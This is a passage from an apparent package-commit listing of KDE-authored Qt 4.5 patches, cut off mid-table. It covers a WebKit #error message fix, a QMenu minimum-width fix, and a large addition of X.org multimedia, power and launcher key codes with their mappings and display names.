+                X11->use_mitshm = defaultVisual->red_mask == 0xff0000
+                                  && defaultVisual->green_mask == 0xff00
+                                  && defaultVisual->blue_mask == 0xff;
             }
         }
 #endif // QT_NO_MITSHM
-- 
1.6.2.5


0014-Fix-error-line-not-to-have-a-as-it-s-not-correct.patch:
 DerivedSources.cpp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0014-Fix-error-line-not-to-have-a-as-it-s-not-correct.patch ---
>From 4b5ae1db24fa1b96f00ef62bd2e1063a8a313e5c Mon Sep 17 00:00:00 2001
From: Albert Astals Cid <aacid at kde.org>
Date: Sat, 27 Jun 2009 14:19:23 +0200
Subject: [PATCH 14/18] Fix #error line not to have a ' as it's not correct

---
 src/3rdparty/webkit/WebCore/DerivedSources.cpp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/3rdparty/webkit/WebCore/DerivedSources.cpp b/src/3rdparty/webkit/WebCore/DerivedSources.cpp
index f698913..aaf8983 100644
--- a/src/3rdparty/webkit/WebCore/DerivedSources.cpp
+++ b/src/3rdparty/webkit/WebCore/DerivedSources.cpp
@@ -334,5 +334,5 @@
 // want StaticConstructors.h to "pollute" all the source files we #include here
 // accidentally, so we'll throw an error whenever any file includes it.
 #ifdef StaticConstructors_h
-#error Don't include any file in DerivedSources.cpp that includes StaticConstructors.h
+#error Do not include any file in DerivedSources.cpp that includes StaticConstructors.h
 #endif
-- 
1.6.2.5


0015-Make-QMenu-respect-the-minimum-width-set.patch:
 qmenu.cpp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0015-Make-QMenu-respect-the-minimum-width-set.patch ---
>From 01f26d0756839fbe783c637ca7dec5b7987f7e14 Mon Sep 17 00:00:00 2001
From: Aaron Seigo <aseigo at kde.org>
Date: Mon, 27 Jul 2009 21:46:22 -0600
Subject: [PATCH 15/18] Make QMenu respect the minimum width set

If one sets a minimum width on a QMenu and that size is larger than the
smallest size needed by the large menu item, it ignores the minimum
width and just uses the largest menu item size.

This results in ugly painting artifacts. This currently affects
(at least) the tasks widget in Plasma in KDE4.
---
 src/gui/widgets/qmenu.cpp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/gui/widgets/qmenu.cpp b/src/gui/widgets/qmenu.cpp
index 9fbbb04..5d62ea6 100644
--- a/src/gui/widgets/qmenu.cpp
+++ b/src/gui/widgets/qmenu.cpp
@@ -280,7 +280,7 @@ void QMenuPrivate::calcActionRects(QMap<QAction*, QRect> &actionRects, QList<QAc
 
 
         if (!sz.isEmpty()) {
-            max_column_width = qMax(max_column_width, sz.width());
+            max_column_width = qMax(q->minimumWidth(), qMax(max_column_width, sz.width()));
             //wrapping
             if (!scroll &&
                y+sz.height()+vmargin > dh - (q->style()->pixelMetric(QStyle::PM_MenuDesktopFrameWidth, 0, q) * 2)) {
-- 
1.6.2.5


0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch:
 corelib/global/qnamespace.h   |   97 +++++++++++++-
 gui/kernel/qkeymapper_x11.cpp |  286 ++++++++++++++++++++++++++++++++++--------
 gui/kernel/qkeysequence.cpp   |  175 +++++++++++++++++++------
 3 files changed, 461 insertions(+), 97 deletions(-)

--- NEW FILE 0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch ---
>From 1a94cd7b132497f70a2b97ec2b58f6e2b1c5076a Mon Sep 17 00:00:00 2001
From: Helio Chissini de Castro <helio at kde.org>
Date: Fri, 10 Jul 2009 16:00:13 -0300
Subject: [PATCH 16/18] Fill gap of X.org/XFree multimedia/special/launcher keys
 Qt up to 4.5.x is missing whole setup of multimedia keys already defined by X

---
 src/corelib/global/qnamespace.h   |   97 ++++++++++++-
 src/gui/kernel/qkeymapper_x11.cpp |  286 ++++++++++++++++++++++++++++++-------
 src/gui/kernel/qkeysequence.cpp   |  174 +++++++++++++++++------
 3 files changed, 461 insertions(+), 96 deletions(-)

diff --git a/src/corelib/global/qnamespace.h b/src/corelib/global/qnamespace.h
index 3edbca7..ddf27a8 100644
--- a/src/corelib/global/qnamespace.h
+++ b/src/corelib/global/qnamespace.h
@@ -895,12 +895,10 @@ public:
         Key_Dead_Horn           = 0x01001262,
 
         // multimedia/internet keys - ignored by default - see QKeyEvent c'tor
-
         Key_Back  = 0x01000061,
         Key_Forward  = 0x01000062,
         Key_Stop  = 0x01000063,
         Key_Refresh  = 0x01000064,
-
         Key_VolumeDown = 0x01000070,
         Key_VolumeMute  = 0x01000071,
         Key_VolumeUp = 0x01000072,
@@ -909,7 +907,6 @@ public:
         Key_BassDown = 0x01000075,
         Key_TrebleUp = 0x01000076,
         Key_TrebleDown = 0x01000077,
-
         Key_MediaPlay  = 0x01000080,
         Key_MediaStop  = 0x01000081,
         Key_MediaPrevious  = 0x01000082,
@@ -918,13 +915,11 @@ public:
 #endif
         Key_MediaNext  = 0x01000083,
         Key_MediaRecord = 0x01000084,
-
         Key_HomePage  = 0x01000090,
         Key_Favorites  = 0x01000091,
         Key_Search  = 0x01000092,
         Key_Standby = 0x01000093,
         Key_OpenUrl = 0x01000094,
-
         Key_LaunchMail  = 0x010000a0,
         Key_LaunchMedia = 0x010000a1,
         Key_Launch0  = 0x010000a2,
@@ -943,6 +938,98 @@ public:
         Key_LaunchD  = 0x010000af,
         Key_LaunchE  = 0x010000b0,
         Key_LaunchF  = 0x010000b1,
+        Key_MonBrightnessUp = 0x010000b2,
+        Key_MonBrightnessDown = 0x010000b3,
+        Key_KeyboardLightOnOff = 0x010000b4,
+        Key_KeyboardBrightnessUp = 0x010000b5,
+        Key_KeyboardBrightnessDown = 0x010000b6,
+        Key_PowerOff = 0x010000b7,
+        Key_WakeUp = 0x010000b8,
+        Key_Eject = 0x010000b9,
+        Key_ScreenSaver = 0x010000ba,
+        Key_WWW = 0x010000bb,
+        Key_Memo = 0x010000bc,
+        Key_LightBulb = 0x010000bd,
+        Key_Shop = 0x010000be,
+        Key_History = 0x010000bf,
+        Key_AddFavorite = 0x010000c0,
+        Key_HotLinks = 0x010000c1,
+        Key_BrightnessAdjust = 0x010000c2,
+        Key_Finance = 0x010000c3,
+        Key_Community = 0x010000c4,
+        Key_AudioRewind = 0x010000c5,
+        Key_BackForward = 0x010000c6,
+        Key_ApplicationLeft = 0x010000c7,
+        Key_ApplicationRight = 0x010000c8,
+        Key_Book = 0x010000c9,
+        Key_CD = 0x010000ca,
+        Key_Calculator = 0x010000cb,
+        Key_ToDoList = 0x010000cc,
+        Key_ClearGrab = 0x010000cd,
+        Key_Close = 0x010000ce,
+        Key_Copy = 0x010000cf,
+        Key_Cut = 0x010000d0,
+        Key_Display = 0x010000d1,
+        Key_DOS = 0x010000d2,
+        Key_Documents = 0x010000d3,
+        Key_Excel = 0x010000d4,
+        Key_Explorer = 0x010000d5,
+        Key_Game = 0x010000d6,
+        Key_Go = 0x010000d7,
+        Key_iTouch = 0x010000d8,
+        Key_LogOff = 0x010000d9,
+        Key_Market = 0x010000da,
+        Key_Meeting = 0x010000db,
+        Key_MenuKB = 0x010000dc,
+        Key_MenuPB = 0x010000dd,
+        Key_MySites = 0x010000de,
+        Key_News = 0x010000df,
+        Key_OfficeHome = 0x010000e0,
+        Key_Option = 0x010000e1,
+        Key_Paste = 0x010000e2,
+        Key_Phone = 0x010000e3,
+        Key_Calendar = 0x010000e4,
+        Key_Reply = 0x010000e5,
+        Key_Reload = 0x010000e6,
+        Key_RotateWindows = 0x010000e7,
+        Key_RotationPB = 0x010000e8,
+        Key_RotationKB = 0x010000e9,
+        Key_Save = 0x010000ea,
+        Key_Send = 0x010000eb,
+        Key_Spell = 0x010000ec,
+        Key_SplitScreen = 0x010000ed,
+        Key_Support = 0x010000ee,
+        Key_TaskPane = 0x010000ef,
+        Key_Terminal = 0x010000f0,
+        Key_Tools = 0x010000f1,
+        Key_Travel = 0x010000f2,
+        Key_Video = 0x010000f3,
+        Key_Word = 0x010000f4,
+        Key_Xfer = 0x010000f5,
+        Key_ZoomIn = 0x010000f6,
+        Key_ZoomOut = 0x010000f7,
+        Key_Away = 0x010000f8,
+        Key_Messenger = 0x010000f9,
+        Key_WebCam = 0x010000fa,
+        Key_MailForward = 0x010000fb,
+        Key_Pictures = 0x010000fc,
+        Key_Music = 0x010000fd,
+        Key_Battery = 0x010000fe,
+        Key_Bluetooth = 0x010000ff,
+        Key_WLAN = 0x01000100,
+        Key_UWB = 0x01000101,
+        Key_AudioForward = 0x01000102,
+        Key_AudioRepeat = 0x01000103,
+        Key_AudioRandomPlay = 0x01000104,
+        Key_Subtitle = 0x01000105,
+        Key_AudioCycleTrack = 0x01000106,
+        Key_Time = 0x01000107,
+        Key_Hibernate = 0x01000108,
+        Key_View = 0x01000109,
+        Key_TopMenu = 0x0100010a,
+        Key_PowerDown = 0x0100010b,
+        Key_Suspend = 0x0100010c,
+        Key_ContrastAdjust = 0x0100010d,
 
         Key_MediaLast = 0x0100ffff,
 
diff --git a/src/gui/kernel/qkeymapper_x11.cpp b/src/gui/kernel/qkeymapper_x11.cpp
index 98ed61c..f55b491 100644
--- a/src/gui/kernel/qkeymapper_x11.cpp
+++ b/src/gui/kernel/qkeymapper_x11.cpp
@@ -714,47 +714,144 @@ extern bool qt_sm_blockUserInput;
 #define XK_KP_Delete            0xFF9F
 #endif
 
-// the next lines are taken from XFree > 4.0 (X11/XF86keysyms.h), defining some special
+// the next lines are taken on 10/2009 from X.org (X11/XF86keysym.h), defining some special
 // multimedia keys. They are included here as not every system has them.
-#define XF86XK_Standby          0x1008FF10
-#define XF86XK_AudioLowerVolume 0x1008FF11
-#define XF86XK_AudioMute        0x1008FF12
-#define XF86XK_AudioRaiseVolume 0x1008FF13
-#define XF86XK_AudioPlay        0x1008FF14
-#define XF86XK_AudioStop        0x1008FF15
-#define XF86XK_AudioPrev        0x1008FF16
-#define XF86XK_AudioNext        0x1008FF17
-#define XF86XK_HomePage         0x1008FF18
-#define XF86XK_Calculator       0x1008FF1D
-#define XF86XK_Mail             0x1008FF19
-#define XF86XK_Start            0x1008FF1A
-#define XF86XK_Search           0x1008FF1B
-#define XF86XK_AudioRecord      0x1008FF1C
-#define XF86XK_Back             0x1008FF26
-#define XF86XK_Forward          0x1008FF27
-#define XF86XK_Stop             0x1008FF28
-#define XF86XK_Refresh          0x1008FF29
-#define XF86XK_Favorites        0x1008FF30
-#define XF86XK_AudioPause       0x1008FF31
-#define XF86XK_AudioMedia       0x1008FF32
-#define XF86XK_MyComputer       0x1008FF33
-#define XF86XK_OpenURL          0x1008FF38
-#define XF86XK_Launch0          0x1008FF40
-#define XF86XK_Launch1          0x1008FF41
-#define XF86XK_Launch2          0x1008FF42
-#define XF86XK_Launch3          0x1008FF43
-#define XF86XK_Launch4          0x1008FF44
-#define XF86XK_Launch5          0x1008FF45
-#define XF86XK_Launch6          0x1008FF46
-#define XF86XK_Launch7          0x1008FF47
-#define XF86XK_Launch8          0x1008FF48
-#define XF86XK_Launch9          0x1008FF49
-#define XF86XK_LaunchA          0x1008FF4A
-#define XF86XK_LaunchB          0x1008FF4B
-#define XF86XK_LaunchC          0x1008FF4C
-#define XF86XK_LaunchD          0x1008FF4D
-#define XF86XK_LaunchE          0x1008FF4E
-#define XF86XK_LaunchF          0x1008FF4F
+#define XF86XK_MonBrightnessUp     0x1008FF02
+#define XF86XK_MonBrightnessDown   0x1008FF03
+#define XF86XK_KbdLightOnOff       0x1008FF04
+#define XF86XK_KbdBrightnessUp     0x1008FF05
+#define XF86XK_KbdBrightnessDown   0x1008FF06
+#define XF86XK_Standby             0x1008FF10
+#define XF86XK_AudioLowerVolume	   0x1008FF11
+#define XF86XK_AudioMute           0x1008FF12
+#define XF86XK_AudioRaiseVolume    0x1008FF13
+#define XF86XK_AudioPlay           0x1008FF14
+#define XF86XK_AudioStop           0x1008FF15
+#define XF86XK_AudioPrev           0x1008FF16
+#define XF86XK_AudioNext           0x1008FF17
+#define XF86XK_HomePage            0x1008FF18
+#define XF86XK_Mail                0x1008FF19
+#define XF86XK_Start               0x1008FF1A
+#define XF86XK_Search              0x1008FF1B
+#define XF86XK_AudioRecord         0x1008FF1C
+#define XF86XK_Calculator          0x1008FF1D
+#define XF86XK_Memo                0x1008FF1E
+#define XF86XK_ToDoList            0x1008FF1F
+#define XF86XK_Calendar            0x1008FF20
+#define XF86XK_PowerDown           0x1008FF21
+#define XF86XK_ContrastAdjust      0x1008FF22
+#define XF86XK_Back                0x1008FF26
+#define XF86XK_Forward             0x1008FF27
+#define XF86XK_Stop                0x1008FF28
+#define XF86XK_Refresh             0x1008FF29
+#define XF86XK_PowerOff            0x1008FF2A
+#define XF86XK_WakeUp              0x1008FF2B
+#define XF86XK_Eject               0x1008FF2C
+#define XF86XK_ScreenSaver         0x1008FF2D
+#define XF86XK_WWW                 0x1008FF2E
+#define XF86XK_Sleep               0x1008FF2F
+#define XF86XK_Favorites           0x1008FF30
+#define XF86XK_AudioPause          0x1008FF31
+#define XF86XK_AudioMedia          0x1008FF32
+#define XF86XK_MyComputer          0x1008FF33
+#define XF86XK_LightBulb           0x1008FF35
+#define XF86XK_Shop                0x1008FF36
+#define XF86XK_History             0x1008FF37
+#define XF86XK_OpenURL             0x1008FF38
+#define XF86XK_AddFavorite         0x1008FF39
+#define XF86XK_HotLinks            0x1008FF3A
+#define XF86XK_BrightnessAdjust    0x1008FF3B
+#define XF86XK_Finance             0x1008FF3C
+#define XF86XK_Community           0x1008FF3D
+#define XF86XK_AudioRewind         0x1008FF3E
+#define XF86XK_BackForward         0x1008FF3F
+#define XF86XK_Launch0             0x1008FF40
+#define XF86XK_Launch1             0x1008FF41
+#define XF86XK_Launch2             0x1008FF42
+#define XF86XK_Launch3             0x1008FF43
+#define XF86XK_Launch4             0x1008FF44
+#define XF86XK_Launch5             0x1008FF45
+#define XF86XK_Launch6             0x1008FF46
+#define XF86XK_Launch7             0x1008FF47
+#define XF86XK_Launch8             0x1008FF48
+#define XF86XK_Launch9             0x1008FF49
+#define XF86XK_LaunchA             0x1008FF4A
+#define XF86XK_LaunchB             0x1008FF4B
+#define XF86XK_LaunchC             0x1008FF4C
+#define XF86XK_LaunchD             0x1008FF4D
+#define XF86XK_LaunchE             0x1008FF4E
+#define XF86XK_LaunchF             0x1008FF4F
+#define XF86XK_ApplicationLeft     0x1008FF50
+#define XF86XK_ApplicationRight    0x1008FF51
+#define XF86XK_Book                0x1008FF52
+#define XF86XK_CD                  0x1008FF53
+#define XF86XK_Calculater          0x1008FF54
+#define XF86XK_Clear               0x1008FF55
+#define XF86XK_ClearGrab           0x1008FE21
+#define XF86XK_Close               0x1008FF56
+#define XF86XK_Copy                0x1008FF57
+#define XF86XK_Cut                 0x1008FF58
+#define XF86XK_Display             0x1008FF59
+#define XF86XK_DOS                 0x1008FF5A
+#define XF86XK_Documents           0x1008FF5B
+#define XF86XK_Excel               0x1008FF5C
+#define XF86XK_Explorer            0x1008FF5D
+#define XF86XK_Game                0x1008FF5E
+#define XF86XK_Go                  0x1008FF5F
+#define XF86XK_iTouch              0x1008FF60
+#define XF86XK_LogOff              0x1008FF61
+#define XF86XK_Market              0x1008FF62
+#define XF86XK_Meeting             0x1008FF63
+#define XF86XK_MenuKB              0x1008FF65
+#define XF86XK_MenuPB              0x1008FF66
+#define XF86XK_MySites             0x1008FF67
+#define XF86XK_News                0x1008FF69
+#define XF86XK_OfficeHome          0x1008FF6A
+#define XF86XK_Option              0x1008FF6C
+#define XF86XK_Paste               0x1008FF6D
+#define XF86XK_Phone               0x1008FF6E
+#define XF86XK_Reply               0x1008FF72
+#define XF86XK_Reload              0x1008FF73
+#define XF86XK_RotateWindows       0x1008FF74
+#define XF86XK_RotationPB          0x1008FF75
+#define XF86XK_RotationKB          0x1008FF76
+#define XF86XK_Save                0x1008FF77
+#define XF86XK_Send                0x1008FF7B
+#define XF86XK_Spell               0x1008FF7C
+#define XF86XK_SplitScreen         0x1008FF7D
+#define XF86XK_Support             0x1008FF7E
+#define XF86XK_TaskPane            0x1008FF7F
+#define XF86XK_Terminal            0x1008FF80
+#define XF86XK_Tools               0x1008FF81
+#define XF86XK_Travel              0x1008FF82
+#define XF86XK_Video               0x1008FF87
+#define XF86XK_Word                0x1008FF89
+#define XF86XK_Xfer                0x1008FF8A
+#define XF86XK_ZoomIn              0x1008FF8B
+#define XF86XK_ZoomOut             0x1008FF8C
+#define XF86XK_Away                0x1008FF8D
+#define XF86XK_Messenger           0x1008FF8E
+#define XF86XK_WebCam              0x1008FF8F
+#define XF86XK_MailForward         0x1008FF90
+#define XF86XK_Pictures            0x1008FF91
+#define XF86XK_Music               0x1008FF92
+#define XF86XK_Battery             0x1008FF93
+#define XF86XK_Bluetooth           0x1008FF94
+#define XF86XK_WLAN                0x1008FF95
+#define XF86XK_UWB                 0x1008FF96
+#define XF86XK_AudioForward        0x1008FF97
+#define XF86XK_AudioRepeat         0x1008FF98
+#define XF86XK_AudioRandomPlay     0x1008FF99
+#define XF86XK_Subtitle            0x1008FF9A
+#define XF86XK_AudioCycleTrack     0x1008FF9B
+#define XF86XK_Time                0x1008FF9F
+#define XF86XK_Select              0x1008FFA0
+#define XF86XK_View                0x1008FFA1
+#define XF86XK_TopMenu             0x1008FFA2
+#define XF86XK_Suspend             0x1008FFA7
+#define XF86XK_Hibernate           0x1008FFA8
+
+
 // end of XF86keysyms.h
 
 // Special keys used by Qtopia, mapped into the X11 private keypad range.
@@ -942,10 +1039,8 @@ static const unsigned int KeyTbl[] = {
     XK_dead_hook,               Qt::Key_Dead_Hook,
     XK_dead_horn,               Qt::Key_Dead_Horn,
 
-    // Special multimedia keys
-    // currently only tested with MS internet keyboard
-
-    // browsing keys
+    // Special keys from X.org - This include multimedia keys,
+	// wireless/bluetooth/uwb keys, special launcher keys, etc.
     XF86XK_Back,                Qt::Key_Back,
     XF86XK_Forward,             Qt::Key_Forward,
     XF86XK_Stop,                Qt::Key_Stop,
@@ -955,8 +1050,6 @@ static const unsigned int KeyTbl[] = {
     XF86XK_OpenURL,             Qt::Key_OpenUrl,
     XF86XK_HomePage,            Qt::Key_HomePage,
     XF86XK_Search,              Qt::Key_Search,
-
-    // media keys
     XF86XK_AudioLowerVolume,    Qt::Key_VolumeDown,
     XF86XK_AudioMute,           Qt::Key_VolumeMute,
     XF86XK_AudioRaiseVolume,    Qt::Key_VolumeUp,
@@ -965,13 +1058,106 @@ static const unsigned int KeyTbl[] = {
     XF86XK_AudioPrev,           Qt::Key_MediaPrevious,
     XF86XK_AudioNext,           Qt::Key_MediaNext,
     XF86XK_AudioRecord,         Qt::Key_MediaRecord,
-
-    // launch keys
     XF86XK_Mail,                Qt::Key_LaunchMail,
     XF86XK_MyComputer,          Qt::Key_Launch0,
-    XF86XK_Calculator,          Qt::Key_Launch1,
+    XF86XK_Calculator,          Qt::Key_Calculator,
+    XF86XK_Memo,                Qt::Key_Memo,
+    XF86XK_ToDoList,            Qt::Key_ToDoList,
+    XF86XK_Calendar,            Qt::Key_Calendar,
+    XF86XK_PowerDown,           Qt::Key_PowerDown,
+    XF86XK_ContrastAdjust,      Qt::Key_ContrastAdjust,
     XF86XK_Standby,             Qt::Key_Standby,
-
+    XF86XK_MonBrightnessUp,     Qt::Key_MonBrightnessUp,
+    XF86XK_MonBrightnessDown,   Qt::Key_MonBrightnessDown,
+    XF86XK_KbdLightOnOff,       Qt::Key_KeyboardLightOnOff,
+    XF86XK_KbdBrightnessUp,     Qt::Key_KeyboardBrightnessUp,
+    XF86XK_KbdBrightnessDown,   Qt::Key_KeyboardBrightnessDown,
+    XF86XK_PowerOff,            Qt::Key_PowerOff,
+    XF86XK_WakeUp,              Qt::Key_WakeUp,
+    XF86XK_Eject,               Qt::Key_Eject,
+    XF86XK_ScreenSaver,         Qt::Key_ScreenSaver,
+    XF86XK_WWW,                 Qt::Key_WWW,
+    XF86XK_Sleep,               Qt::Key_Sleep,
+    XF86XK_LightBulb,           Qt::Key_LightBulb,
+    XF86XK_Shop,                Qt::Key_Shop,
+    XF86XK_History,             Qt::Key_History,
+    XF86XK_AddFavorite,         Qt::Key_AddFavorite,
+    XF86XK_HotLinks,            Qt::Key_HotLinks,
+    XF86XK_BrightnessAdjust,    Qt::Key_BrightnessAdjust,
+    XF86XK_Finance,             Qt::Key_Finance,
+    XF86XK_Community,           Qt::Key_Community,
+    XF86XK_AudioRewind,         Qt::Key_AudioRewind,
+    XF86XK_BackForward,         Qt::Key_BackForward,
+    XF86XK_ApplicationLeft,     Qt::Key_ApplicationLeft,
+    XF86XK_ApplicationRight,    Qt::Key_ApplicationRight,
+    XF86XK_Book,                Qt::Key_Book,
+    XF86XK_CD,                  Qt::Key_CD,
+    XF86XK_Calculater,          Qt::Key_Calculator,
+    XF86XK_Clear,               Qt::Key_Clear,
+    XF86XK_ClearGrab,           Qt::Key_ClearGrab,
+    XF86XK_Close,               Qt::Key_Close,
+    XF86XK_Copy,                Qt::Key_Copy,
+    XF86XK_Cut,                 Qt::Key_Cut,
+    XF86XK_Display,             Qt::Key_Display,
+    XF86XK_DOS,                 Qt::Key_DOS,
+    XF86XK_Documents,           Qt::Key_Documents,
+    XF86XK_Excel,               Qt::Key_Excel,
+    XF86XK_Explorer,            Qt::Key_Explorer,
+    XF86XK_Game,                Qt::Key_Game,
+    XF86XK_Go,                  Qt::Key_Go,
+    XF86XK_iTouch,              Qt::Key_iTouch,
+    XF86XK_LogOff,              Qt::Key_LogOff,
+    XF86XK_Market,              Qt::Key_Market,
+    XF86XK_Meeting,             Qt::Key_Meeting,
+    XF86XK_MenuKB,              Qt::Key_MenuKB,
+    XF86XK_MenuPB,              Qt::Key_MenuPB,
+    XF86XK_MySites,             Qt::Key_MySites,
+    XF86XK_News,                Qt::Key_News,
+    XF86XK_OfficeHome,          Qt::Key_OfficeHome,
+    XF86XK_Option,              Qt::Key_Option,
+    XF86XK_Paste,               Qt::Key_Paste,
+    XF86XK_Phone,               Qt::Key_Phone,
+    XF86XK_Reply,               Qt::Key_Reply,
+    XF86XK_Reload,              Qt::Key_Reload,
+    XF86XK_RotateWindows,       Qt::Key_RotateWindows,
+    XF86XK_RotationPB,          Qt::Key_RotationPB,
+    XF86XK_RotationKB,          Qt::Key_RotationKB,
+    XF86XK_Save,                Qt::Key_Save,
+    XF86XK_Send,                Qt::Key_Send,
+    XF86XK_Spell,               Qt::Key_Spell,
+    XF86XK_SplitScreen,         Qt::Key_SplitScreen,
+    XF86XK_Support,             Qt::Key_Support,
+    XF86XK_TaskPane,            Qt::Key_TaskPane,
+    XF86XK_Terminal,            Qt::Key_Terminal,
+    XF86XK_Tools,               Qt::Key_Tools,
+    XF86XK_Travel,              Qt::Key_Travel,
+    XF86XK_Video,               Qt::Key_Video,
+    XF86XK_Word,                Qt::Key_Word,
+    XF86XK_Xfer,                Qt::Key_Xfer,
+    XF86XK_ZoomIn,              Qt::Key_ZoomIn,
+    XF86XK_ZoomOut,             Qt::Key_ZoomOut,
+    XF86XK_Away,                Qt::Key_Away,
+    XF86XK_Messenger,           Qt::Key_Messenger,
+    XF86XK_WebCam,              Qt::Key_WebCam,
+    XF86XK_MailForward,         Qt::Key_MailForward,
+    XF86XK_Pictures,            Qt::Key_Pictures,
+    XF86XK_Music,               Qt::Key_Music,
+    XF86XK_Battery,             Qt::Key_Battery,
+    XF86XK_Bluetooth,           Qt::Key_Bluetooth,
+    XF86XK_WLAN,                Qt::Key_WLAN,
+    XF86XK_UWB,                 Qt::Key_UWB,
+    XF86XK_AudioForward,        Qt::Key_AudioForward,
+    XF86XK_AudioRepeat,         Qt::Key_AudioRepeat,
+    XF86XK_AudioRandomPlay,     Qt::Key_AudioRandomPlay,
+    XF86XK_Subtitle,            Qt::Key_Subtitle,
+    XF86XK_AudioCycleTrack,     Qt::Key_AudioCycleTrack,
+    XF86XK_Time,                Qt::Key_Time,
+    XF86XK_Select,              Qt::Key_Select,
+    XF86XK_View,                Qt::Key_View,
+    XF86XK_TopMenu,             Qt::Key_TopMenu,
+    XF86XK_Bluetooth,           Qt::Key_Bluetooth,
+    XF86XK_Suspend,             Qt::Key_Suspend,
+    XF86XK_Hibernate,           Qt::Key_Hibernate,
     XF86XK_Launch0,             Qt::Key_Launch2,
     XF86XK_Launch1,             Qt::Key_Launch3,
     XF86XK_Launch2,             Qt::Key_Launch4,
diff --git a/src/gui/kernel/qkeysequence.cpp b/src/gui/kernel/qkeysequence.cpp
index 894f663..665c058 100644
--- a/src/gui/kernel/qkeysequence.cpp
+++ b/src/gui/kernel/qkeysequence.cpp
@@ -396,47 +396,139 @@ static const struct {
     { Qt::Key_Menu,         QT_TRANSLATE_NOOP("QShortcut", "Menu") },
     { Qt::Key_Help,         QT_TRANSLATE_NOOP("QShortcut", "Help") },
 
-    // Multimedia keys
-    { Qt::Key_Back,         QT_TRANSLATE_NOOP("QShortcut", "Back") },
-    { Qt::Key_Forward,      QT_TRANSLATE_NOOP("QShortcut", "Forward") },
-    { Qt::Key_Stop,         QT_TRANSLATE_NOOP("QShortcut", "Stop") },
-    { Qt::Key_Refresh,      QT_TRANSLATE_NOOP("QShortcut", "Refresh") },
-    { Qt::Key_VolumeDown,   QT_TRANSLATE_NOOP("QShortcut", "Volume Down") },
-    { Qt::Key_VolumeMute,   QT_TRANSLATE_NOOP("QShortcut", "Volume Mute") },
-    { Qt::Key_VolumeUp,     QT_TRANSLATE_NOOP("QShortcut", "Volume Up") },
-    { Qt::Key_BassBoost,    QT_TRANSLATE_NOOP("QShortcut", "Bass Boost") },
-    { Qt::Key_BassUp,       QT_TRANSLATE_NOOP("QShortcut", "Bass Up") },
-    { Qt::Key_BassDown,     QT_TRANSLATE_NOOP("QShortcut", "Bass Down") },
-    { Qt::Key_TrebleUp,     QT_TRANSLATE_NOOP("QShortcut", "Treble Up") },
-    { Qt::Key_TrebleDown,   QT_TRANSLATE_NOOP("QShortcut", "Treble Down") },
-    { Qt::Key_MediaPlay,    QT_TRANSLATE_NOOP("QShortcut", "Media Play") },
-    { Qt::Key_MediaStop,    QT_TRANSLATE_NOOP("QShortcut", "Media Stop") },
-    { Qt::Key_MediaPrevious,QT_TRANSLATE_NOOP("QShortcut", "Media Previous") },
-    { Qt::Key_MediaNext,    QT_TRANSLATE_NOOP("QShortcut", "Media Next") },
-    { Qt::Key_MediaRecord,  QT_TRANSLATE_NOOP("QShortcut", "Media Record") },
-    { Qt::Key_HomePage,     QT_TRANSLATE_NOOP("QShortcut", "Home Page") },
-    { Qt::Key_Favorites,    QT_TRANSLATE_NOOP("QShortcut", "Favorites") },
-    { Qt::Key_Search,       QT_TRANSLATE_NOOP("QShortcut", "Search") },
-    { Qt::Key_Standby,      QT_TRANSLATE_NOOP("QShortcut", "Standby") },
-    { Qt::Key_OpenUrl,      QT_TRANSLATE_NOOP("QShortcut", "Open URL") },
-    { Qt::Key_LaunchMail,   QT_TRANSLATE_NOOP("QShortcut", "Launch Mail") },
-    { Qt::Key_LaunchMedia,  QT_TRANSLATE_NOOP("QShortcut", "Launch Media") },
-    { Qt::Key_Launch0,      QT_TRANSLATE_NOOP("QShortcut", "Launch (0)") },
-    { Qt::Key_Launch1,      QT_TRANSLATE_NOOP("QShortcut", "Launch (1)") },
-    { Qt::Key_Launch2,      QT_TRANSLATE_NOOP("QShortcut", "Launch (2)") },
-    { Qt::Key_Launch3,      QT_TRANSLATE_NOOP("QShortcut", "Launch (3)") },
-    { Qt::Key_Launch4,      QT_TRANSLATE_NOOP("QShortcut", "Launch (4)") },
-    { Qt::Key_Launch5,      QT_TRANSLATE_NOOP("QShortcut", "Launch (5)") },
-    { Qt::Key_Launch6,      QT_TRANSLATE_NOOP("QShortcut", "Launch (6)") },
-    { Qt::Key_Launch7,      QT_TRANSLATE_NOOP("QShortcut", "Launch (7)") },
-    { Qt::Key_Launch8,      QT_TRANSLATE_NOOP("QShortcut", "Launch (8)") },
-    { Qt::Key_Launch9,      QT_TRANSLATE_NOOP("QShortcut", "Launch (9)") },
-    { Qt::Key_LaunchA,      QT_TRANSLATE_NOOP("QShortcut", "Launch (A)") },
-    { Qt::Key_LaunchB,      QT_TRANSLATE_NOOP("QShortcut", "Launch (B)") },
-    { Qt::Key_LaunchC,      QT_TRANSLATE_NOOP("QShortcut", "Launch (C)") },
-    { Qt::Key_LaunchD,      QT_TRANSLATE_NOOP("QShortcut", "Launch (D)") },
-    { Qt::Key_LaunchE,      QT_TRANSLATE_NOOP("QShortcut", "Launch (E)") },
-    { Qt::Key_LaunchF,      QT_TRANSLATE_NOOP("QShortcut", "Launch (F)") },
+    // Special keys
+    // Includes multimedia, launcher, lan keys ( bluetooth, wireless )
+    // window navigation
+    { Qt::Key_Back,                       QT_TRANSLATE_NOOP("QShortcut", "Back") },
+    { Qt::Key_Forward,                    QT_TRANSLATE_NOOP("QShortcut", "Forward") },
+    { Qt::Key_Stop,                       QT_TRANSLATE_NOOP("QShortcut", "Stop") },
+    { Qt::Key_Refresh,                    QT_TRANSLATE_NOOP("QShortcut", "Refresh") },
+    { Qt::Key_VolumeDown,                 QT_TRANSLATE_NOOP("QShortcut", "Volume Down") },
+    { Qt::Key_VolumeMute,                 QT_TRANSLATE_NOOP("QShortcut", "Volume Mute") },
+    { Qt::Key_VolumeUp,                   QT_TRANSLATE_NOOP("QShortcut", "Volume Up") },
+    { Qt::Key_BassBoost,                  QT_TRANSLATE_NOOP("QShortcut", "Bass Boost") },
+    { Qt::Key_BassUp,                     QT_TRANSLATE_NOOP("QShortcut", "Bass Up") },
+    { Qt::Key_BassDown,                   QT_TRANSLATE_NOOP("QShortcut", "Bass Down") },
+    { Qt::Key_TrebleUp,                   QT_TRANSLATE_NOOP("QShortcut", "Treble Up") },
